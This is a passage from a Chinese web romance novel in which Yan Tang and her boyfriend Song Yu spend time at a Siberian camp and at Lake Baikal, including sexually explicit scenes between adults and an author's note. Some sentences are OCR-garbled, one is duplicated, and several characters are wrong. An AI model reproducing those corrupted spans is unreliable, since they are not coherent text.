而现在他开始藏半露一半,明明脸上还是像以前那样明晃晃地写着不高兴,但却不像之前那样一股脑都撒出来,仿佛在告诉她这件事儿没那么容易过去。短短四五秒,她脑子里迅速闪过许多主意。燕棠试探性地问:“你想要亲一口吗?”宋郁:“要。” 她凑上去亲了他唇瓣一口,再稍微拉开一点儿距离观察他的表情——没哄好。于是她又亲了口他的鼻尖—也没有哄好。 这事儿不好办。 这时,门口有人敲门了。 来者除了送晚餐的侍应生,还有给宋郁进行疗养准备的治疗师。 “先吃饱饭,等会儿陪我去后院里泡温泉再说。” 工作人员不仅带来了白桦枝、松叶和艾草一类俄罗斯人常用的疗养药草,还带了一套泳衣。 她一瞧那泳衣的款式,就知道是宋郁的审美。 分体式,细细的系带。 他在这方面的情趣很恶劣,比如总是勾扯那带子,看她的皮肉被勒出细细的红痕,再夸她漂亮。燕棠收回目光,默默想:原来这小子在这里等着她。 吃晚饭后,宋郁换了身衣服,宽松短袖和长度及膝的黑色短裤,披着浴袍坐在沙发上让治疗师热敷膝盖。 燕棠换上泳衣和浴袍,从浴室里走出来在一旁沙发上坐下,正巧见治疗师从一个桶里挖出一大坨热泥巴,覆在宋郁的膝盖上,然后用布巾牢牢裹住。“这是在做什么?”她有些好奇地问。 “就是我之前跟你说的泥疗,治疗关节炎症的,希望能快点儿恢复。”“你还想继续回赛场吗?”“嗯。” 宋郁并没有在这个话题上继续,而是将她搂进了怀里。 浴袍宽大,无论燕棠将腰带系得再紧,领口也稍显松散。 他一低头,将细腻的肌肤和若隐若现的泳衣一览无余,目光流连片刻,又移至她的眉眼。 “你真漂亮,我都移不开眼了。” 宋郁轻声说着。 治疗师是俄罗斯人,他还特意用中文调情。 于是燕棠也用中文说:“有外人在,这样搂搂抱抱是不是不太好。” 宋郁揽着她肩膀的手抬起,屈指轻轻碰了下她的脸颊,换回了俄语:“这句中文太长,我听不懂。” 治疗师果然笑眯眯地看向他们,问宋郁:“这是你的女朋友?她是中国人?” 宋郁说:“是。” “她不太会说俄语吗?那你的中文应该很不错?” 燕棠忍不住了,用流利的俄语说:“我听得懂俄语,他的中文也相当不错。” 说罢,她瞥了宋郁一眼,他姿态随意地坐在那里,只是笑,不说话。 宋郁敷了二十分钟的矿物泥后稍作清理,等治疗师一离开,直接带燕棠去后院的开放露天的雪地温泉。 夜间的室外温度一直维持在零下四十度左右,外头积雪极厚,空气里弥漫着西伯利亚特有的严寒。 后院宽敞,独立的小温泉四周堆砌着皑皑白雪,足够半人高,只清出一条用宽木板铺就的小路,从后门通往池边。两个燃木火盆摆在温泉边缘,火焰刺啦作响,散发着 股木头的焦香。 “太冷了——” 厚重的木门被打开,冷空气扑面而来,燕棠裹紧了披在身上的大衣,对那处冒着热气的温泉望而却步。 “去泡一下,对身体好。”宋郁迅速把后门关上。 燕棠在他的鼓励下哆嗦着走到温泉边,捏着衣领还在进行心理建设,猝不及防被宋郁扒下了所有衣服,只剩下泳衣那一丁点儿布料。 可她还没来得及冷得叫出声,温热有力的掌心托着她的手臂和腰,把她丝滑送进温泉里,暖呼呼的泉水在冰天雪地里迅速包裹住她的身体。 “舒服吗?” “舒服。”燕棠老实了。 她在水中只冒了个脑袋,一转身,看见站在池边的宋郁也脱下了浴袍,身上只剩下黑色及膝短裤。 两侧的火盆燃起明亮的火光,把他高大结实的身材照得一清二楚,胸肌腹肌人鱼线,拉长的影子如小山一般,黑压压地罩住了泡在池水中的女孩子。 也许是为了泡温泉方便,他的裤子布料也偏薄,裤头处的起伏比上次在医院还清楚。 燕棠觉得两人确定了关系,发生什么事情也是顺理成章,但温泉这里显然不是个好地方。她默默往后游,结果宋郁一下水,三两步就来到她身边。 “转过去,扶着那块石头。” “别在这里吧,会污染水源。” 燕棠跟他打商量。 宋郁从水里拿起一条泡软的白桦枝,冲她扬起一个笑:“我是要给你放松一下。” 俄罗斯人喜欢在狩猎后使用药草疗法恢复身体,简而言之就是把白桦枝、松针一类的植物放进温泉里,作养生之用。还有一种用法是直接用泡软的树枝或松针拍打身体或者擦拭按摩皮肤,不过那往往是在进入温泉之前的程序。 宋郁指导燕棠趴在靠近燃木火盆的岩石边,露出光洁雪白的后背。 这里的石头温暖坚硬,两侧焰火也源源不断地散发出温度,她半个身子还泡在温泉里,血液循环,并不觉得寒冷。 下一秒,带着温热水汽的树枝就打在了她后背。 力道适中,但树枝仍有些硬度,在皮肤上鞭打起来还是有些许疼痛,枝叶扫过皮肤,又泛起细密的瘙痒。 燕棠没忍住抖了一下。 “站好。”身后的人声音温柔,“我收着力,不会很疼。” 又是两三下鞭打,燕棠觉得怪怪的,准备叫停,可下一秒就被他按住了腰。宋郁的手中握着一片松针,按在她后背上,开始发力揉搓。 "Kiril!Kirill!" 燕棠觉得又痒又疼,连忙叫他的名字,结果听他说:“别急。” 她肩胛骨微微收紧,白皙的皮肤上留下几道浅浅的红痕,光洁的后背只有一条极细泳衣系带。宋郁垂眸盯着这一幕,终于忍不住把她抱在怀里,让她的后背紧贴着自己的胸膛,低头亲吻她的颈窝,又舔又咬。手的动作却没停,带着松针叶一路往她肚子和大腿揉去。燕棠被他玩得身体不自主蜷缩起来,然后听他问:“谁的手在碰你?”她终于忍不住了:“这不好玩儿!” 宋郁沉默一秒,终于很不高兴地提起了之前的事情:“不是跟你说过,不要把人认错吗?”“以后绝对不会认错了。”她连忙求饶,“你们一点儿都不一样,头发眼睛颜色耳朵……” 燕棠念念叨叨,顺着他的意思说下去,可他手中动作一顿,忽然问:“他的耳朵和我的耳朵不一样,所以你是觉得我哥更好看吗?”他的耳朵在常年格斗训练和比赛中多次受伤,虽然处理及时,但难免留下了不可逆的伤痕。 “怎么会呢,我只是每次看都觉得心疼。” 燕棠轻轻叹口气,这会儿算是知道宋郁心里在想什么了。 她转过身,因水的浮力而靠在他身上,下一秒就被他抱住。 夜色深沉,火焰明亮,冰天雪地里的温泉水弥漫着草药香气。在冰冷的空气之下,宋郁的发丝和长睫毛上覆了一层晶莹的冰雪,垂眸盯着她看。 燕棠被他这样子蛊惑了一秒,半晌才认真说:“你怎么会比不上哥哥呢?你不仅很聪明,很可爱,还会格斗。”可宋郁却并没有高兴起来:“我现在不一定能回到赛场了,还受了伤。妈妈也说过相似的话,我知道她只是在安慰我。” “在娜斯佳眼里,你们都是她的儿子。但我——”燕棠话音一顿,在他认真的注视中有了底气继续说下去。“但我现在是你女朋友,是站在你这边的。” 她还记得当年那句孩子气的嘱咐。 这话终于让宋郁眉头一松。 “这个解释够了吗?”她笑着问。 宋郁神色缓和,却说:“不够。” 燕棠没想到,这两年里每一次碰面,都被宋郁记得清清楚楚,在这会儿被扒开来详细拷问,在这些显得有些执拗的问题里,她终于瞧出了点儿孩子气来。不过就像宋郁对待她那样,她对他也有很多很多的耐心。“实际上,我每次和你哥哥站在一起,话题只有两个:工作和你。” 等问完了,宋郁眼见地高兴起来。 “所以这几年你也一直在想我?” “嗯,我希望你好好的。我担心你的身体,你比赛顺利的时候我也很开心。” 燕棠温声说。 “这件事上,你消气了吗?” “还有一点点。” “那亲一下?” 这次是深吻,接吻接到一半,宋郁用浴巾裹住她,将她抱进了屋内的床上。 他们在这时才发现屋子里没有套。 既然没办法做,两人只好继续养生,宋郁让燕棠拿出自酿的蜂蜜酒。 蜂蜜酒用玻璃瓶装,很沉很坠手,燕棠握着瓶身时很快没了力气,手有些发抖。 她把玻璃瓶放下,问宋郁:“能不能快点儿把酒倒出来?” 可宋郁的耐心全方位上升,“刚才在外面待得有点儿久,要等酒稍微暖一些再倒。” 他拿出放在床头的雪松精油倒在掌心,粘稠的透明水液散发着清新怡人的木质香气,从他的掌心晕开,几滴从指缝滑落,滴滴答答落在床单上。 “这样舒服吗?”他温柔地问,声音清朗。 宋郁像刚才在温泉时那样给燕棠按揉身体,从后颈到手臂,从腰际往下,单手轻松地环握住她的小腿。 掌心有常年训练留下的茧子,摩挲过细嫩的皮肤,精油在上头留下一层带着光泽的痕迹。 “你不知道我有多想你。”他在她耳边呢喃,带了点儿撒娇的意味,“需要用力一点儿吗?你这几天参加狩猎活动也很累吧?” “嗯……” 刚刚泡过温泉,室内暖气充足,燕棠颈项间冒了汗,胸口起伏。 “我有点儿渴了。”她抬眼看向面前的男人。 他漂亮的面容在晦暗的光线下仍然动人,那双眼睛注视着她,目光像条无形的锁链,牢牢缠绕在她身上,让她无处可藏。 宋郁握住她的手。 他本来想去帮她倒杯解渴的蜂蜜酒。 但没想到瓶盖没盖紧,洒了燕棠一身。 屋内温暖的空气的确让蜂蜜酒温度变高,甚至有些烫,烫得她微微颤抖。蜜色的酒水顺着她的掌心一路流淌到凌乱的床单上,和透明的精油混在一起,布料晕湿了一大片。 “没关系,脏了就脏了,我叫人来换床单。” 在之前在北京那段短暂的相处时光中,有两件事让宋郁一直耿耿于怀。除了燕棠对亲哥宋璟的看法外,他还不喜欢隐藏两人关系这件事。 所以第二天,宋郁直接带燕棠去了集团高层在中午单独的聚餐。“从现在开始,不许在别人面前否认我们的关系,或者躲开我。”他严肃地告诉燕棠。 在营地已经停留了四天,这群中年人早就玩够了打猎,全都留在营地里泡温泉养生,中午便单独聚在营地一处靠近森林,风景极好的餐厅里用餐。老爹宋裕川和亲哥宋璟自然都在,一桌人坐下来,虽说其他人都是集团里的高管或者小股东,但说到底算是自家人。 燕棠被宋郁牵着手一进门,就注意到所有人都看着她。 她稍有些紧张,还在想该怎么打招呼,却没想到宋裕川先站起来了,主动介绍:“ana是和我们基金会合作了很久的翻译,现在创业开公司,之后和我们有很多合作机会。” 说完,他才笑了笑,“也是Kirill的女朋友。” 燕棠有些惊讶,转眼便见宋郁笑着看她,这才反应过来——他提前跟他爸爸打过招呼了,而他爸爸也给面子,这会儿直接定了调子,其他人便知道是什么意思。坐在一旁的宋璟也不意外,还是像之前那样跟她很有礼貌地打了个招呼。 燕棠坐下来没多久,高管们便和她聊了起来,开头还问了几句两人怎么认识的,很快话题就转到了业务话题上。聊着聊着,宋郁作为全场唯——位行业外人士,反倒最先开始觉得无聊,吃过了之后开始百无聊赖地悄悄玩她头发。 “感觉怎么样?” 午餐结束,他问燕棠有没有觉得不舒服。 燕棠摇摇头。 这是件很神奇的事,几年前她到宋郁家时还觉得有些格格不入,但今天却不再有这种感觉。有时候融入一个圈层,也许不仅在于拥有同等量级的财富,更重要的是拥有同样层次的认知。 “我觉得和他们聊得很愉快,交换了一些信息,对我挺有用的。” 她笑着对宋郁说。 可还有一件事,燕棠还没有向他提及。 刚才在宋郁去走廊找侍应生的时候,宋裕川跟她说了一件事。 “你们感情好,我和他妈妈现在觉得很放心。我看他听你的话,想麻烦你跟他聊聊,看看能不能让他不要再回去比赛了,你肯定也清楚,在赛场上那样子,家人看得最揪心“ 她凝视着宋郁,见他神情难得这么轻松,暂且把这件事压在心里。 这次出行到今天为止,狩猎活动已经进行得差不多了,下午还有最后一次在营地附近的活动,可以坐雪情或者雪地摩托在雪原和森林里观景,集团员工们也都从各线的活动中返回营地。燕棠和宋郁准备去坐雪橇,结果走到营地集合处才想起忘记拿帽子了。 现在宋郁已经学乖,再也不找亲哥帮忙,免得别人误会。所以他亲自回了一趟木屋,让燕棠在原地等待。宋璟恰好从营地的超市里走出来,手里拿着两包巧克力,正巧碰见燕棠,就递了一包给她。“你和Kirill今天下午记得吃点巧克力保持能量。麻烦你提醒他要吃,他现在不在训练,没必要苛待自己。”营地大门口还有其他的员工,不知道是谁悄声说了一句话,大家纷纷往他俩的方向看去。 他们心想: Yana在和llya聊天,真般配。 Kirill来了,嗯,Kiril和他们站在一起真是和谐的一家子。 Kirill站在了Yana身边。 Kiril抱住了Yana。 等等— Kirill当着llya的面亲了Yana-口!! 群俄罗斯人呆在原地,内心发出土拨鼠尖叫。 国 作者有话说 ?显示所有文的作话 感谢小天使们的7个霸王票、2448瓶营养液~ 本章是清水章,男女主在一起养生,感受俄罗斯风土人情,品尝当地美食。所以为了举报我坚持不懈一直追更到现在的朋友,思想要纯洁,不要!举报我了! 50、甜熊愤怒 当燕棠被宋郁当着亲哥的面用力啃了一口脸蛋的时候,宋璟瞥了宋郁一眼,脸上没什么表情。但燕棠觉得宋璟好像有点儿无语。 宋郁肯定也意识到了这一点,却丝毫不害羞地从后将她圈在怀里,下巴抵着她头顶,相当自然地跟亲哥说话。身后的人体格大,燕棠感觉自己整个人像陷在了巨型小熊玩偶的肚子里。 她第一次和宋郁在公开场合有这样亲密的接触,就像其他第一次恋爱的小姑娘一样,这会儿还有点儿不好意思。不过她没有推开宋郁,一是因为宋郁喜欢这么抱她,二是因为其他人也看着,这能有效地让那些奇奇怪怪的流言消失掉。 ——这是燕棠和宋郁原本的想法。 关于燕棠和宋璟的不实传闻,最得力的证明就来自于基金会编辑部负责人玛莎。 玛莎不是个乱传消息的人,但她从这两年来一些自己看到的细节里拼凑出了一个关于Yana和ya的故事,当其他同事跑过来找她,提出了相同的猜测时,她还以为自己猜得果然没错。 大家你一嘴我一嘴,假的也说成是真的。 可在昨晚,玛莎收到了燕棠的消息,说她今晚不会回两人住宿的小屋,而是和Kiril待在一起。 今天下午,当雪橇活动进行到一半,大家开始向她这位权威人士询问真相的时候,玛莎一脸怀疑人生地说:我真的什么也不知道! 于是大家猜测玛莎肯定知道了什么不得了的东西 流言变得更加奇奇怪怪,甚至生出了各种各样、十分狂野的版本。 而燕棠这天下午跟宋郁单独在雪原里坐了一趟驯鹿雪橇,两人都不知道事情变化超出预料。由于这些流言过于炸裂,内容先一步传进了在营地喝咖啡加班的宋璟耳朵里。 他拉了个微信群。 雪原里信号不好,又冷得不得了,燕棠回到营地后跟宋郁一起回了他的屋子里,刚坐在壁炉边烤着火喝了口热红茶,打开手机一看,发现微信冒出了一个「群聊(3)]。 宋璟: 「@.@Yana] 「你们两个是怎么回事?」 他甩出一张工作软件上员工聊天的截图。 燕棠盯着这图里的俄文看了半天,每个词都认识,但拼凑在一起就成了某些言情小说网站上的炸裂故事。虽然大家语言之间没有恶意,都只是惊讶和感慨,但——但这像话吗?! 她崩溃地说:「怎么会这样!!!」 而在卧室里换衣服的宋郁显然也看到了,燕棠刚发完这条消息,下面就紧接着蹦出来一条消息。 宋郁出离愤怒:「你们招的都是什么员工?!我没有插足!!」 他明明是吃够了爱情的苦才刚刚享受到一点点甜蜜的可怜虫! 在宋郁接连不断地在群里发消息,从各方面向宋璟表达不满的时候,他哥终于忍无可忍,解散了群聊。 最后这件事情还是宋璟出手,以雷霆手段直接解决的。 他找正在国内休假的小谭,翻出了两张几年前的两个人的合照,发布在宋郁的社交账号上,然后直接通知分布在几个部门里的员工定向把真相散播出去。等晚上两人再去餐厅吃饭,大家的表情已经正常了许多,有的还会跟他们攀谈:“没想到你们这么早就认识了啊~” 燕棠当晚终于松了口气。 明天大部队就会离开伊尔库茨克,去往加尔湖附近的度假村,度过剩下五天的行程,她已经将自己的行李搬到了宋郁这里,而落单的玛莎也得到了升级服务,能够在之后的行程里舒服地住一个豪华单人问。 说实在的,刚来营地时还很新鲜,但这里地方偏僻,四处都是原始森林,住久了就会有种荒野求生的感觉。她收拾完行李,坐在窗边往外望,在煤油灯的灯光所不及之处,雪地和森林交接之间可能随时冒出一头把人掳走的野熊。 正这么想着,浴室里淅淅沥沥的水声恰好停了。 没过一会儿,宋郁带着一身水汽走出来,半湿的发丝捋至脑后,偶尔还落下几滴水珠打湿领口。 他直接走到燕棠身后,就着她盘腿趴在窗台边的姿势,直接把她整个人端到了床上,试图躺进她怀里。 “先吹头发。” 燕棠摁住了他的脑袋,把吹风机拿过来,拖过一侧的高脚凳坐上去,让宋郁在床边坐好。 温和的热气从吹风气的出风口冒出,她的手指穿过他发间,柔软的发丝乖顺地落在她掌心里。 卧室内只开着两盏床头灯,光线温柔,两个人都没说话。 在从感动、高兴这一系列情绪中冷静下来后,燕棠在此刻才终于有一种真实感—她跟宋郁在一起了,确定了关系,没有障碍的那种。 “吹好啦。”她关上吹风机的开关,刚刚把东西收起来,又被他抱回了窝里。 燕棠刚刚靠上床头,宋郁就钻进她怀里,将脸埋在她颈项间,温热的呼吸渗进她的皮肤,略有些瘙痒。 她这才注意到宋郁的情绪有些低落,“怎么了?” 可宋郁只是安静地抱着她,那双眼睛也用一种很深、很静的目光注视着她。 “我想多看看你。”他这么说。 这几日以来那种似曾相识的陌生感再次笼罩了燕棠,她心里漫上一丝担忧——尽管宋郁坦诚的表白让她获得了对这段感情的某种确信,但她仍然能感觉到在宋郁身上,有了一些和从前并不一样的,她尚且没有捕捉到的变化。 她主动问:“你还在为谣传的事情难过吗?” 宋郁倒没有掩藏,点了点头,又把她抱紧了一点儿,“我看到你的名字被和别人放在一起,心里很不开心。我知道你解释过了,事情也解决了,但我只是不喜欢那种感觉“ 燕棠用往常的方式安慰他,亲亲额头又亲亲脸蛋,却忽然听宋郁问了一个他从没提过的问题:“这几年里你有和别人发生过什么吗?” 她微微一怔,直起身子。而宋郁枕在床头,神情仍然像之前那样平静。可她仍然从他眼神里瞧出了不安。 燕棠还以为是什么大事儿呢,刚准备开口,结果宋郁忽然把她拉进怀里。“算了,别说了,没关系,我不是真的想听这个。” “没有,我没有和别的男人约会过,心动也没有。每天都在忙工作和学业。”燕棠失笑一声,却并没有回避这个问题。 这话头开了个口子,宋郁果然还是按捺不住,又问:"………那有没有男人主动联系你?" “那肯定有呀,我又管不了别人,这个道理你肯定比我清楚。” ——宋郁当然懂,只是独占欲在作祟。 他难以描述这些年里有过多少次想象,而在所有想象里,燕棠对面的男人都是同一类——文质彬彬、斯文得体,就像他曾经见过的那两个一样。以至于他得知集团里的谣言时,哪怕知道那不是真的,也无法克制住心里的徘徊不去的忧虑。 宋郁知道自己又在发小脾气了,他觉得自己应该学会调节自己,有更加成熟通透的态度,毕竟当他在昨天跟燕棠解释自己的情况时,燕棠很快就接受了。 搂住她腰际的手缓缓摩挲着,温软的肌肤给宋郁带来一些安定的感觉。他不再说话,老老实实躺在她身边睡觉。 燕棠关上台灯,没过多久就听见他平缓清浅的呼吸,也不知道是不是睡着了。 夜色让视野变得模糊,于是相拥的姿势变得更加亲密。她却没什么睡意,在一片安静中轻声开口,也问了个自己从没问过的问题:“为什么会喜欢我呢?” 过了大概六七秒,就在燕棠以为宋郁已经睡着的时候,她听见他开口了。 “第一次就跟你说过了,因为你看上去可怜兮兮的。” 燕棠没想到是这个回答,干巴巴应了一声“原来是这样”。下一秒,宋郁倾身压住了她,手从她衣服下摆伸进去,开始又捏又揉。 他还记得她在这方面的敏感反应,低头在她后颈处亲亲舔舔,燕棠很快就晕头转向。 可就在这时,宋郁的声音又在她耳边缓缓响起。 如果你想听更详细的原因 那也许是第 次看见你的时候,就能看出你过得很不好。超市发的马甲又旧叹不合身,脸上也是很惟悴的样子。但明明过得那么糟糕,但你好像还在努力地让自己运转起来 “我去超市看了你很多次,每次都觉得你要垮了,但你还是撑下去。所以跟你在一起的时候,有种我不明白的安定感。所以你要我留在美国接受治疗的时候,我几乎每天都” 宋郁的话语忽然顿住,不继续说下去了,话锋一转,又开始不正经起来。“但如果你可以露出一点生气或者害羞的表情,就更加可爱了…….” 说着,他故意掐了她那里一下。 燕棠感觉浑身都酥酥麻麻的,没忍住将他的手从自己身上扒拉开,“没有套就不要乱动了!”今天为了不让员工之间的谣言发酵,宋郁不得不忍着没去营地里的超市买避孕套。“我想给你舔。”他礼貌询问,“可以吗?” 房间的窗户是木质边缘的四方格子型,月光从窗子里漏进房内,照亮了宋郁湿漉漉的鼻尖和唇瓣。燕棠感觉自己的心脏因眼前的美色而停跳了一秒,而他那双剔透又深沉的眼睛也欣赏着她的反应。 “那你呢?” 她还有些迷迷糊糊的,下意识问:“什么?” “如果我不像以前那样年轻出众,你以后还会像曾经那样喜欢我吗?” 宋郁的声音仍然缓和。 但这问题却十分认真,并不像是恋人之间带有情趣意味的提问。 宋郁在渐渐被人们遗忘。 这是一个事实。 就像唐齐所说的,明星、运动员这些看上去夺目光鲜的职业里,名誉来得快,去得也快。如果不抓紧时间,行业就会迅速地忘记这个人,所有的痕迹都只会成为埋在互联网坟地里的数据。 他已经有超过九个月没有进入赛场,因为状态不佳,也并没有再接受其他商务邀约,后来找他的商务邀约也少了。曾经那些关系不好的对手,譬如维克托,虽然当年实力不及宋郁,但却一直留在赛场上,现在的排名反而渐渐上升,进入了top10的排行。 在前几个月里,他是最喜欢拿宋郁受伤的事情来做文章的人,在推特上唱衰了宋百好几次,于是相关的话题新新流传,等未自始络没有再次回到赛场,这十分没品的论调反而成了事实,以至于后来维克托地懈得提了。“我想得清楚。有些道理听了千百遍,不如一次失败来得有用。是我以前太过相信自己什么事都能成功,就像我想当然地以为可以把你留在身边一样。” 当宋郁提出那个疑问之后,他并没有要燕棠回答。 而当他不要求得到答案的时候,燕棠意识到这是因为他暂时无法相信任何答案。她试图跟他开启关于赛场的话题,宋郁却跟她说了这样的话。 “但不管怎么样,我会一直留在你身边,如果你又要甩开我,我会更加生气地把你找回来—然后留在你身边。”宋郁温温柔柔地亲了她一口,将这个话题结束。 尽管他尽量用轻巧的态度解释这件事,但燕棠还是在这一刻终于捕捉到了他身上那种变化的全貌。 第二天,大部队一起离开营地去往贝加尔湖附近的一个度假小镇,宋郁又恢复了那副高高兴兴的样子。他现在是有女朋友的人了,也懒得和大部队一起行动,等中午办完入住吃了饭,直接带燕棠出门玩。 这里像是俄罗斯的童话小镇,有博物馆、摩天轮和渔港码头,相比狩猎营地要热闹许多。 宋右坦前做了研空 带着燕尚尺业地玩了一罔 左产啼时抵达了他们两士的是E一让__超市这里像是俄罗斯的童话小镇,有博物馆、摩天轮和渔港码头,相比狩猎营地要热闹许多。 宋郁提前做了研究,带着燕棠尽兴地玩了一圈,在傍晚时抵达了他们要去的最后一站—超市。 “终于能买套了。”他站在货架前看着各种款式的盒子,碎碎念:“明明熬了那么久还被当成第三者,得买十盒………” 51、用尖锐的刀… 利斯特维扬卡位于贝加尔湖的西南岸,集团此行安排入住的酒店能直接看见冰封的贝加尔湖。 小镇上的摩天轮亮起灯光,给傍晚的蓝调添上一轮明亮的色彩。 两人在超市买到了战利品,刚一回到酒店就碰见了统筹负责人叶莲娜。 叶莲娜跟他们打了个招呼,注意到宋郁提着一个封了口的纸袋子,里面装着满满当当的东西,看上去是垒起来的盒子。 “接下来几天确实有棋牌活动,不过我们已经准备好牌,你们还特意去买了?” 燕棠脸上迅速闪过心虚,然后听见宋郁淡定开口:“都是糖。” “哦,是为了等会儿补充能量吧?我们已经给准备冰钓的同事准备好了帐篷……” “冰钓?”宋郁没听明白。 燕棠这才猛然想起这件事,有些不好意思地跟他说:“我之前报名了这个活动。” 来贝加尔湖最重要的一个活动就是冰钓,白天和夜里都可以进行,不过夜间人少,鱼类活动相对多,尤其是白鲑和狗鱼多。燕棠对冰钓期盼已久,白天夜里都想体验一回,在行程之初就报了名,宋郁一路上都在想着怎么和她度过一个美好的夜晚,这会儿立刻有些失望。 “你就在酒店等我,回来的时间不会很晚。再说了,你不是还要做膝盖的疗养吗?”燕棠拉了拉他的手。 可宋郁坚持要跟她一起去,还让叶莲娜单独安排了一个冰钓用的帐篷。 从住处到选定的冰钓地点只需要半小时,他们抵达地点后,恰好是夕阳余晖彻底隐没在天际. 夜空明净,繁星漫天,帐篷顶部还有一处透明的窗口,如果今晚出现极光,他们在钓鱼过程中一抬头就能看见。 虽然现在温度是零下四十多度,但帐篷里放了取暖设备,还架起炉子烧了热茶,一旁放着伏特加。 燕棠没想到宋郁竟然是个冰钓老手。 “我小时候经常跟着外祖父钓鱼。”他轻松地提起沉重的冰钻,给厚厚的冰层开了个圆洞。 “我一直以为你更像是会喜欢那种——”燕棠捧着热茶杯坐在一旁,看他熟练地操作着,“在大都市里开派对,喝香槟,玩游戏之类的。以前我们出去玩的时候,你好像都是去这些场合。” “你那时候应该多问问我,就会知道我更喜欢一些原始的活动,比如打猎和钓鱼,出去旅游也可以,这比在别墅里玩beer pong有意思多了。” 宋郁在她身边坐下,将鱼线放入洞口,让她握住鱼竿。 等待的过程中,他聊起家里曾经的趣事。“有一次我妈妈收到了我爸爸送的一个爱马仕包,她去哪儿都带着,连陪我钓鱼都背着去。结果那天我忘记带装鱼的桶了,那个包最后被她用来装我钓上来的鱼。我爸爸知道后说养我费钱。”燕棠认真听他说,脑海里立刻能想到美丽又大方的斯拉夫美女牵着一个洋娃娃般的小男孩,豪放地用昂贵的包装鱼,只为了哄小朋友高兴。她眉眼间也浮出笑意。 帐篷内吊着两盏马灯,照亮他们脚下深蓝色的冰面。白色裂纹在深厚的冰块中交错纵横,还有不少白色的气泡在冰层中浮动。 鱼线深入冰层,过了一会儿开始出现拉力,燕棠收起鱼线,钓上来一条银色的小鱼。 宋郁帮她把鱼拿下来,忽然对她说:“别动。” 说罢,他握着鱼身,用鱼尾在她脸颊左右轻扫。睫毛垂下,目光柔柔地看着她,声音轻快:“这是你钓上来的第一条鱼,保佑你接下来能丰收。” 随后,他问燕棠想带回去还是直接吃。 “还能直接吃?”燕棠有些惊讶。 “是这里常见的做法,贝加尔湖的白鲑可以直接剖开撒上椒盐吃,这里天气冷,它很快就会直接变成冻鱼肉了。” 随后,燕棠见他拿出了一把尖锐的刀。 他们最后钓上来四条鱼,全是白鲑,另外三条被带回酒店后厨煎烤后端上桌。等吃饱喝足之后,回到房间已经是夜里十点。 这家酒店就位于贝加尔湖畔,透过宽敞的窗户能看到和贝加尔湖连通的安加拉河,河水在深冬也并没有结冰,河面上蒸腾着一层梦幻般的冰雾。 燕棠洗了个舒服的热水澡,一出浴室就看见宋郁坐在床头玩手机。 他已经洗过澡了,头发也听她的要求老老实实吹干,此刻正认真地盯着屏幕像是在挑什么东西,手机屏幕的光亮落在他脸上,那双瞳孔映着明亮的光,睫毛根根分明。 看得燕棠心头暖烘烘的。 她走到床边刚坐下,趴在他怀里。 身下男人的身体结实又强壮,燕棠足尖只能碰到他的小腿中段。宋郁就扶着她的后背,让她调整姿势后就这么叠在他身上,将头靠在他胸口。 “你像是把我等比放大两三倍。”她这么说着,捏了捏他的胸肌。 不过是随便碰了他一下,仿佛是拨动了他身上的开关似的,她立刻感觉小腹有瓶子咯着。 宋郁放下了手机,却没有进一步动作,任她摸着,被摸舒服了还哼两声。 这声音勾起了燕棠某些蒙着桃色滤镜的回忆,比如他们在拉斯维加斯那晚第一次,当宋郁教她认识男孩子的时候,她手劲儿用得不对,他就发出类似于这种又疼又爽的哼唧。 燕棠又捏了两下,宋郁终于坐了起来,对她说:“我们来玩个游戏吧。” ——游戏内容是,燕棠说什么,他做什么。 “我说过,你要学会对我提要求。”宋郁抚摸她柔顺的头发,拈住一缕发丝放在鼻尖嗅了下。“你来指导我服务你。” “可是…….”燕棠思索了一下,“如果你感到不舒服。” “我回应你的。”他用一种鼓励的目光看着她。 宋郁今天穿着白色T恤和灰色的运动裤,有点儿像燕棠之前在小谭发的照片里看到的那身打扮,宽松的衣着让他浑身都带着青春散漫的气质。可偏偏□□那里毫不羞耻地突起一块,他这时还若无其事地跟她说话。 燕棠不得不承认自己被诱惑了,她想跟宋郁接吻。 于是她这么做了,主动凑上了上去。——以前她也主动亲过宋郁,不过每一次都是那种安慰性质的,一触即分的吻。 这是燕棠第一次捧住宋有的脸颊,试着舔他的唇瓣——很软,还带着漱口水清爽的气息。当她的舌尖触及他双唇之间的时候,他乖巧地张开双唇,欢迎她进来。 燕棠感觉到自己的脸颊在发烫。 她第一次觉得自己在享用一个男人,从这个缠绵的亲吻里得到了某种超越性欲本身的快感。 随后她很快发现宋郁真的只是配合她的动作。 他一动不动地靠在床头,双手扶着她的腰,免得她从他身上掉下去——然后什么多余的都不做,直到燕棠发出下一步指令。 “帮我把衣服脱下。”她说。“只要脱一件吗?”他笑着问。 “里面的也要。”“里面的什么?”“…内衣。” “那你的指令要说清楚啊………”他的声音温温柔柔的,指尖勾在蕾丝带子的边缘,提出了一点儿质疑:“可你以前好像更喜欢我把它往下直接扯到你的腰上,是分开这么多年,喜好变了吗?”有问必须有答,燕棠憋红了脸,说:“没变。” 于是宋郁按照她最喜欢的方式去做。 当事事都有回应,燕棠开始尝到一种占有的快感,尽管她清楚这是宋郁故意的——他要她占有他,然后再也放不开手。 她确实被蛊惑了,宋郁忍耐欲望等待她垂青的样子实在可爱,那双漂亮的双眼盯着她看,明晃晃地忍耐着凶性,甜腻腻地问她还需要什么。 燕棠的心跳得很快,“我在欣赏你的样子。” “喜欢我这样子吗?”“喜欢。”“知道我在想什么吗?”“你想和我做。”宋郁显然已经忍得有些难受了,但他仍然遵循着刚才的游戏规则。他的双手还在规矩地扶着她的腰,指尖偶尔暗示性地抚摸那处皮肤,声音缓慢:“是的,我想把你干死在床上。你可以让我再等等,等到你高兴为止再点头,然后我会尽兴的。”屋内的光线就像今晚在贝加尔湖的冰面上一样昏暗,马灯挂在门边,灯影幢幢。 宋郁用刀剖开那条鱼时,银色的小鱼抽搐了一下,他猜测它感到有些疼痛,所以他将刀刃插进鱼肉中时已经尽可能地温柔。 这种小鱼藏在贝加尔湖下,需要经受严寒和漫长等待,才能从重重冰层中将它找出来。 所以他尝得很仔细,将鱼肉每一寸都细细拨下来放到舌尖,感受它鲜美香甜的余味。 当晚,燕棠梦见自己变成了一条鱼,被宋郁的匕首捅了个对穿。那力道,那硬度,让她梦醒了都难以忘记。 睁眼已经是中午,一旁的垃圾桶里堆着许多个打着结的避孕套和纸巾,外头的安加拉河是一片深蓝色,岸边覆满积雪。 燕棠翻身下床,双膝跪地,朝贝加尔湖的方向行了个大礼。 身后响起脚步声,她被宋郁拦腰抱起来放回床上。 这人昨晚劳作了那么久,仍然精神奕奕,给她揉腰捶腿,一副吃饱喝足的样子,还一直在夸她昨晚真棒。 